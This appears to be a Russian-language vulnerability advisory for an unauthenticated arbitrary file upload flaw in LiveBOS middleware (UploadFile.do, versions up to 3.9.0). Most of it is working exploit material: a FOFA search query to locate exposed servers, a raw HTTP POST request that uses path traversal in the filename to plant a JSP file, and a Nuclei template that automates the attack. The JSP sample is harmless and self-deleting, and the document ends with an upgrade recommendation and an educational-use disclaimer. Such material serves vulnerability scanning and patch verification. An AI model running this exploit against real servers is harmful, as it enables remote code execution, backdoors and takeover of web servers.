LiveBOS — это промежуточное ПО для объектно-ориентированной бизнес-архитектуры и его интегрированный инструмент разработки, разработанный Vertex Software Co., Ltd. В интерфейсе LiveBOS UploadFile.do существует уязвимость для загрузки произвольных файлов. Неаутентифицированный злоумышленник может использовать эту уязвимость для выполнения произвольного кода на стороне сервера, написания бэкдора, получения разрешений сервера, а затем управления всем веб-сервером.
Fujian Vertex Software Co., Ltd.-LiveBos <= 3.9.0
fofa: body=“Power by LiveBOS”
POST /feed/UploadFile.do;.js.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxegqoxxi
Connection: close
---WebKitFormBoundaryxegqoxxi
Content-Disposition:form-data; name="file"; filename="/../../../../test.jsp"
Content-Type: image/jpeg
<%@ page import="java.io.File" %>
<%
out.println("test");
String filePath = application.getRealPath(request.getServletPath());
new File(filePath).delete();
%>
---WebKitFormBoundaryxegqoxxi--
id: LiveBOS UploadFile.do произвольный Загрузка файла
info:
name: LiveBOS UploadFile.do произвольный Загрузка файла
author: admin
severity: critical
description: |
This template detects a file upload vulnerability that allows for
the upload of arbitrary files, including JSP files that can be executed on the server.
reference:
- https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
requests:
- raw:
- |
POST /feed/UploadFile.do;.js.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxegqoxxi
Connection: close
----WebKitFormBoundaryxegqoxxi
Content-Disposition: form-data; name="file"; filename="/../../../../test.jsp"
Content-Type: image/jpeg
<%@ page import="java.io.File" %>
<%
out.println("");
String filePath = application.getRealPath(request.getServletPath());
new File(filePath).delete();
%>
----WebKitFormBoundaryxegqoxxi--
matchers:
- type: word
words:
- "file uploaded successfully"
part: body
Производитель выпустил версию для восстановления безопасности. Пожалуйста, своевременно свяжитесь с официальным сервисным центром или службой поддержки клиентов, чтобы выполнить обновление до последней версии.,https://www.livebos.com
Любые методы, информация или инструменты, упомянутые в этой статье, предназначены только для учебных и справочных целей. Пожалуйста, не используйте информацию, представленную в этой статье, для участия в какой-либо незаконной деятельности или неподобающем поведении. Любые убытки, последствия или неблагоприятные последствия, вызванные использованием информации или инструментов, представленных в этой статье, являются исключительной ответственностью пользователя и не имеют никакого отношения к автору этой статьи. Автор отказывается от любой ответственности за любые убытки или последствия, возникшие в результате использования информации или инструментов в этой статье. Используя информацию или инструменты, представленные в этой статье, вы соглашаетесь с этим отказом от ответственности и обязуетесь соблюдать соответствующие законы, правила и этику.